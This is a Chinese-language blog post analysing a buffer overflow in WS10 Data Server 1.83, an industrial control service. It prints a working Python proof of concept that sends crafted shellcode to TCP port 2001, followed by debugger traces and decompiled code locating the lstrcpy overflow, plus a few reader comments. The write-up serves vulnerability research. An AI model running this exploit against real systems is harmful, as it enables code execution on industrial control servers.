WS10 Data Server工控服务远程代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top


漏洞说明


软件下载:
emmm...暂时没有找到下载链接
WS10 Data Server漏洞版本1.83

PoC:

import os
import socket
import sys
 
## The process listens on TCP port 2001
 
host = sys.argv[1]
port = int(sys.argv[2])
  
print " PoC WS10 Data Server SCADA Exploit "
print " Pedro Sanchez "
  
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90") 
  
## Exploit contructor
 
    ws10 = ("\x90" * 1024 + "\x44" * 31788) 
    ws10 += ("\xeb\x14") 
    ws10 += ("\x44" * 6) 
    ws10 += ("\xad\xbb\xc3\x77") 
    ws10 += ("\xb4\x73\xed\x77")  
    ws10 += ("\x90" * 21) 
    ws10 += shellcode
 
  
print "  [+] Sending payload..."
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host,port)) 
s.send(ws10)  
data = s.recv(1024)
  
print "  [+] Closing..."
s.close()  
print "  [+] Done!"

调试环境:
Windows 7 sp1


漏洞分析


NOVUS Data Server WS10是一个工控服务的服务器,分为Server和Client两部分,开放端口为2001和2002,其中2002是客户端端口,2001是服务端端口,其中问题出现在服务端,在接收到数据的时候,由于没有对数据进行验证,直接执行登录操作,在登录操作时涉及到一处strlcpy操作,从而导致缓冲区溢出,通过覆盖返回地址达到任意代码执行。

这个工控软件v1.83版本以及以下存在这个漏洞,但是官网只剩v2.3最新版了,在跟踪调试过程中,发现这个漏洞已经被修补,在读取buffer字符串时进行了长度控制,但是仍然不影响我们准确定位漏洞位置,下面对此漏洞进行详细分析。

首先,用IDA对这个漏洞进行分析,找到了一处很关键的位置,是一处WSARecv用于接收数据。

 result = WSARecv(
             *(_DWORD *)(NumberOfBytesRecvd + 4376),
             &Buffers,
             1u,
             &NumberOfBytesRecvd,
             &Flags,
             (LPWSAOVERLAPPED)(NumberOfBytesRecvd + 4400),
             (LPWSAOVERLAPPED_COMPLETION_ROUTINE)CompletionRoutine);

在这个函数下断点,附加Server进程,然后发送畸形数据,命中断点。

0:002> g
(ae8.52c): Break instruction exception - code 80000003 (first chance)
eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=003effcc ebp=003efff4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000             efl=00000246
ntdll!DbgBreakPoint:
7c92120e cc              int     3
0:002> bp 40165f
0:002> g
Breakpoint 1 hit
eax=0086fd90 ebx=00000001 ecx=000000b8 edx=0086fd9c esi=003d8e40 edi=000000b8
eip=0040165f esp=0086fd6c ebp=71a22c80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
WS10Server+0x165f:
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\WS2_32.dll - 
0040165f ff15b0814000    call    dword ptr [WS10Server+0x81b0 (004081b0)] ds:0023:004081b0={WS2_32!WSARecv (71a24cb5)}

命中后单步步过。

0:001> p
eax=00000000 ebx=00000001 ecx=0014e0f0 edx=00000001 esi=003d8e40 edi=000000b8
eip=00401665 esp=0086fd88 ebp=71a22c80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
WS10Server+0x1665:
00401665 83f8ff          cmp     eax,0FFFFFFFFh
0:001> dd esp
0086fd88  003d8e40 00000000 00000fff 003d8e40
0086fd98  004023d7 00000fff 00000000 003d8e40
0086fda8  0040a574 0014cd1c 00000000 7c8095bc
0086fdb8  00000010 72120002 0100007f 00000000
0086fdc8  00000000 004033e0 0086ffb4 00145818
0086fdd8  00145818 0000007c 00000080 00000084
0086fde8  00000103 00000000 00000000 00000000
0086fdf8  00000084 00403464 000107b2 0001eb00
0:001> dd poi(esp)
003d8e40  41414141 41414141 41414141 41414141
003d8e50  41414141 41414141 41414141 41414141
003d8e60  41414141 41414141 41414141 41414141
003d8e70  41414141 41414141 41414141 41414141
003d8e80  41414141 41414141 41414141 41414141
003d8e90  41414141 41414141 41414141 41414141
003d8ea0  41414141 41414141 41414141 41414141
003d8eb0  41414141 41414141 41414141 41414141

可以看到,此时第一个参数已经被畸形字符串覆盖了,但是这个长度却不是POC中的33000+,来看一下一共有多少畸形数据。

0:001> dd poi(esp) l1000
003d8e40  41414141 41414141 41414141 41414141
003d8e50  41414141 41414141 41414141 41414141
003d8e60  41414141 41414141 41414141 41414141

003d9e30  41414141 41414141 41414141 00414141
003d9e40  00000000 00000000 00000000 00000000
003d9e50  00000000 00000000 00000000 00000000

长度是4096,实际上这个长度进行了控制,来看一下当前函数的伪代码。

int __cdecl sub_401610(DWORD NumberOfBytesRecvd)
{
  void *v1; // esi@1
  unsigned __int16 v2; // ax@1
  int result; // eax@1
  DWORD Flags; // [sp+4h] [bp-Ch]@1
  struct _WSABUF Buffers; // [sp+8h] [bp-8h]@1

  v1 = (void *)NumberOfBytesRecvd;
  v2 = *(_WORD *)(NumberOfBytesRecvd + 4386);
  Flags = 0;
  Buffers.buf = (char *)(v2 + NumberOfBytesRecvd);
  Buffers.len = 4095 - v2;
  result = WSARecv(
             *(_DWORD *)(NumberOfBytesRecvd + 4376),
             &Buffers,
             1u,
             &NumberOfBytesRecvd,
             &Flags,
             (LPWSAOVERLAPPED)(NumberOfBytesRecvd + 4400),
             (LPWSAOVERLAPPED_COMPLETION_ROUTINE)CompletionRoutine);
  if ( result == -1 )
  {
    result = WSAGetLastError();
    if ( result != 997 )
    {
      if ( result == 10054 )
      {
        sub_401400(1, (int)v1, aConnectionRese);
        result = sub_401590(v1);
      }
      else
      {
        sub_401400(1, (int)v1, aSocketErrorNo_, result);
        result = sub_401590(v1);
      }
    }
  }
  return result;

可以看到Recv之后会对result进行一次判断,如果不为-1,也就是确实接收到了数据,则直接在函数末尾return。

0:001> p
eax=00000001 ebx=00000001 ecx=7c810ea6 edx=00000000 esi=7c8095bc edi=00000000
eip=004023e1 esp=0086fdb8 ebp=71a22c80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
WS10Server+0x23e1:
004023e1 83c414          add     esp,14h
0:001> p
eax=00000001 ebx=00000001 ecx=7c810ea6 edx=00000000 esi=7c8095bc edi=00000000
eip=004023e4 esp=0086fdcc ebp=71a22c80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
WS10Server+0x23e4:
004023e4 c3              ret
0:001> p
eax=00000001 ebx=00000001 ecx=7c810ea6 edx=00000000 esi=7c8095bc edi=00000000
eip=004033e0 esp=0086fdd0 ebp=71a22c80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
WS10Server+0x33e0:
004033e0 53              push    ebx

返回之后,到达外层函数调用。

int sub_403200()
    for ( i = WaitForMultipleObjectsEx(3u, &Handles, 0, 0xFFFFFFFF, 1);
          i != -1;
          i = WaitForMultipleObjectsEx(3u, &Handles, 0, 0xFFFFFFFF, 1) )
    {
      if ( i )
      {
        v4 = i - 1;
        if ( v4 )
        {
          if ( v4 == 1 )
          {
            if ( dword_40A11C == 1 )
            {
              dword_40A11C = 0;
              sub_401390();
              sub_401280();
              dword_40A11C = 1;
            }

接下来,程序会执行一个写入文件的操作,大概是类似于log之类的操作,这个过程我们并不关心。

0:001> p
eax=00000000 ebx=00000001 ecx=0014e0f0 edx=00000001 esi=003d8e40 edi=000000b8
eip=004023d7 esp=0086fd9c ebp=71a22c80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
WS10Server+0x23d7:
004023d7 83c414          add     esp,14h
0:001> p
eax=00000000 ebx=00000001 ecx=0014e0f0 edx=00000001 esi=003d8e40 edi=000000b8
eip=004023da esp=0086fdb0 ebp=71a22c80 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
WS10Server+0x23da:
004023da e8b1efffff      call    WS10Server+0x1390 (00401390)
0:001> p
eax=00000001 ebx=00000001 ecx=7c810ea6 edx=00000000 esi=003d8e40 edi=000000b8
eip=004023df esp=0086fdb0 ebp=71a22c80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
WS10Server+0x23df:
004023df 5f              pop     edi

看一下写入文件的伪代码。

BOOL sub_401280()
{
  unsigned int v0; // eax@1
  char *v1; // edx@1
  unsigned int v2; // kr18_4@1
  unsigned int v3; // kr0C_4@1
  struct _OVERLAPPED Overlapped; // [sp+Ch] [bp-418h]@1
  DWORD NumberOfBytesWritten; // [sp+20h] [bp-404h]@1
  int Buffer; // [sp+24h] [bp-400h]@1
  int v8; // [sp+28h] [bp-3FCh]@1
  int v9; // [sp+2Ch] [bp-3F8h]@1
  int v10; // [sp+30h] [bp-3F4h]@1
  int v11; // [sp+34h] [bp-3F0h]@1
  int v12; // [sp+38h] [bp-3ECh]@1
  char v13; // [sp+3Ch] [bp-3E8h]@1

  Overlapped.Internal = 0;
  v8 = *(_DWORD *)&dword_40BA98;
  Overlapped.InternalHigh = 0;
  Overlapped.Offset = 0;
  Overlapped.OffsetHigh = 0;
  Overlapped.hEvent = 0;
  v12 = dword_40BAA8;
  v10 = dword_40BAA0;
  v9 = *(_DWORD *)&hostshort;
  v11 = dword_40BAA4;
  v0 = strlen(byte_40BAAC) + 1;
  Buffer = 2;
  qmemcpy(&v13, byte_40BAAC, v0);
  v2 = strlen(PathName) + 1;
  v1 = &v13 + v0 + v2;
  qmemcpy(&v13 + v0, PathName, v2);
  v3 = strlen(byte_40BBB0) + 1;
  qmemcpy(v1, byte_40BBB0, v3);
  return WriteFile(hNamedPipe, &Buffer, (DWORD)&v1[v3 - (_DWORD)&Buffer], &NumberOfBytesWritten, &Overlapped);
}

这个过程并不重要,在这个写入文件结束之后,程序会进入正常处理,判断输入内容,如果不等于id,则会返回错误告警。

switch (pClient->state) {
        case 0:
            if (strchr(ptr, '\n') == NULL && pClient->recvIndex < 4095)
                break;
            if ((ptr = strtok(ptr, " \n\r\t")) == NULL)
                ptr = "";
            if (stricmp(ptr, "id"))
                logMsg(WARN_L, pClient, "Expected \"ID\" command but received \"%.100s\" instead. Connection closed.", ptr);

注意stricmp的ptr和id作比较,如果不等于,则会打印错误标记,这是因为在接收函数的时候,会对长度进行控制,在之前没有进行控制的情况下,会发生什么呢?

程序在接收到正常数据后,会进行打印Login的操作,Login的打印内容可以在IDA的数据段中找到。

.data:0040A3F4 ; char aClientLoggedIn[]
.data:0040A3F4 aClientLoggedIn db 'Client logged in.',0 ; DATA XREF: CompletionRoutine+370o

如果进入正常处理会发生什么呢?

      v16 = strtok(0, asc_40A494);
      if ( v16 )
      {
        sub_401E30(v5, a02LoggedIn);
        sub_401700((LPVOID)v5, DueTime);
        lstrcpynA((LPSTR)(v5 + 4096), v16, 10);
        *(_WORD *)(v5 + 4386) = 0;
        sub_401400(0, v5, aClientLoggedIn, v17);
        goto LABEL_40;
      }
      sub_401400(2, v5, aEmptyIdReceive, v17);
    }
    shutdown(*(_DWORD *)(v5 + 4376), 1);
    *(_WORD *)(v5 + 4390) = 9;
    sub_401610(v5);
    return;

可以看到,接下来的处理过程,会首先进行一处lstrcpy操作,v16就是接收到数据的值,之后再sub_401400会打印aClientLoggedIn,就是之前的lstrcpy会造成缓冲区溢出,导致任意代码执行。

Comments
Write a Comment
  • Youngtala reply

    基本还是windows的套路,跟工控好似没有太多关系

    • k0 reply

      @Youngtala 是的,所以我写的是工控服务,并不是工控的漏洞

  • Young Thomas reply

    我是杨萌萌,你不认识我了?

    2018-03-28 16:35 GMT+08:00 whereisk0shl@bitcron.com

    <whereisk0shl+5d02663dad10388f160588a14bae37e9f5e8b31e@bitcron.com>:

    > New Comment

    >

    > Hey,

    >

    > k0 Said on WS10 Data Server工控服务远程代码执行漏洞

    >

    > @Youngtala 是的,所以我写的是工控服务,并不是工控的漏洞

    >>visit and reply comment

    > ________________________________

    >

    > simple is everything, we try our best to make the Tech meet the needs of our

    > lives.